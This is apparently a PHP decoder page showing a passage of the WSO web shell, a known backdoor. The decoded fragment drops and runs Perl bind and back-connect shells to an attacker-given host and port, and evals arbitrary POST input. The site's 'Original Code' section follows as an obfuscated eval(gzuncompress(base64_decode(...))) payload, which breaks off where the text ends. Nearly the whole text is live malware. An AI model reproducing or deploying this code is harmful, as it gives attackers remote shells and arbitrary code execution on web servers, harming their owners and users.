" .wsoEx("ps aux | grep bp.pl") ."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']== 'bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl " .$_POST['p2'] ." " .$_POST['p3'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
" .wsoEx("ps aux | grep bc.pl") ."</pre>";unlink("/tmp/bc.pl");}}echo '</div>';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=> php_uname(),"php_version"=> phpversion(),"wso_version"=> WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&& function_exists('action' .$default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&& function_exists('action' .$_POST['a']))call_user_func('action' .$_POST['a']);exit;

Did this file decode correctly?

Original Code

 <? eval(gzuncompress(base64_decode('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